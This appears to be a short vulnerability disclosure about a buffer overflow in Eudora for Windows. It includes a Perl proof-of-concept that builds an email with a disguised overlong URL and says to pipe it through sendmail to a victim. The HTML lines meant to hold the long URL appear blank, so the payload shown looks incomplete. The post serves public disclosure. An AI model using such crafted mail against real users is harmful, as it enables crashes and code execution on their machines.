There is a buffer overflow in Eudora for Windows, verified on versions 6.1, 6.0.3 and 5.2.1. This is easily exploitable to run arbitrary code. I do not know if this issue affects Eudora for Macs. Demo: #!/usr/bin/perl -- print "From: me\n"; print "To: you\n"; print "Subject: Eudora file URL buffer overflow demo\n"; print "X-Use: Pipe the output of this script into: sendmail -i victim\n\n"; print "The following is a \"proper\" HTML URL, pointing to somewhere long:\n"; print "
\n"; print "\n"; print "Fake URL to http://anywhere/I/want\n"; print "\n"; print "Clicking above will crash Eudora.\n\n"; print "The following plain-text converted by Eudora into a clickable URL\n"; print "http://www.maths.usyd.edu.au:8000/u/psz/securepc.html#Eudoraxx\n" ; print "is for comparison: the user can hardly tell them apart.\n\n"; Cheers, Paul Szabo - email@example.com http://www.maths.usyd.edu.au:8000/u/psz/ School of Mathematics and Statistics University of Sydney 2006 Australia